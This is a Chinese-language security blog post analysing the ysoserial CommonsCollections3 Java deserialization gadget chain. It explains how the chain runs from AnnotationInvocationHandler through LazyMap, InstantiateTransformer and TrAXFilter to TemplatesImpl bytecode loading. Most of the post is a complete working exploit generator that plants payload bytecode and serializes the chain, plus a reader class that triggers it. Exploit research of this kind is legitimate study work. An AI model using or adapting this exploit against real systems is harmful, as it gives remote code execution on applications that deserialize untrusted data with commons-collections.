java反序列化-ysoserial-调试分析总结篇

Posted 2020-11-28 tr1ple

前言：

这篇文章主要分析commoncollections3，这条利用链如yso描述，这个与cc1类似，只是反射调用方法是用的不是invokeTransformer而用的是InstantiateTransformer，整个调用过程如下图

利用链分析：

如上图所示，入口点还是Annotationinvoationhandler的Entryset

此时将会调用membervalues.get，其中var4位entryset，而membervalues中存储的为lazymap类的实例，即调用lazymap的get函数

即接着调用chainedTransformer来对key进行转换

其中iTransformer中存储了除了constantTransformer直接返回类，这里使用的类是class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

接下来到了InstantiateTransformer的transformer函数，这里面会拿到input对应类的参数类型为templates的构造函数，然后再实例化

接着一路跟到TrAXFilter的构造函数中，可以看到这里实际上调用了templates.newTransformer,那我们知道templatesImpl的可以通过_bytecode

接下来的过程就不在叙述，就是templates类的利用

yso构造分析：

 yso在这里构造payload的时候，constantTransformer返回的是TrAxFilter类，然后再结合instantiateTransformer的transform函数可以拿到入口参数的构造函数，然后再实例化，实例化过程中将调用

TrAxFilter的构造函数，从而调用templates.newTransformer

exp：

exp.java

package CommonCollections3;

import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.InstantiateTransformer;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

//
//@Dependencies({"commons-collections:commons-collections:3.1"})
//
public class exp {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException {

        //
        //构造Templates对象
        //
        TemplatesImpl tmp = new TemplatesImpl();

        //rce代码块的对象
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(payload.class));
        CtClass pay = pool.get(payload.class.getName());
        byte[] PayCode = pay.toBytecode();

        Class clazz;
        clazz  = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field tf = clazz.getDeclaredField("_bytecodes");
        tf.setAccessible(true);
        tf.set(tmp,new byte[][]{PayCode});
        Field name = clazz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(tmp,"tr1ple");

        HashMap InnerMap = new HashMap();
        Transformer[] trans = new Transformer[]{
         new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{tmp}
                        )
        };

        ChainedTransformer chined = new ChainedTransformer(trans);
        Map outmap = LazyMap.decorate(InnerMap,chined);

        final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        con.setAccessible(true);
        InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap);
        Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han);


        //外层装proxy代理
        final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        out_con.setAccessible(true);
        InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy);

        //序列化
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
        FileOutputStream fo = new FileOutputStream(file);
        ObjectOutputStream ObjOut = new ObjectOutputStream(fo);
        ObjOut.writeObject(out_han);

    }
}

readobj.java

package CommonCollections3;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime;

public class readObj {
    public static void main(String[] args) {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
        try {
            ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
            obj.readObject();
            obj.close();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }

}

这条利用链也是受jdk版本影响的，相较于cc2有局限性，和cc1相类似，外层包装相同，只是内部chained转换链变化了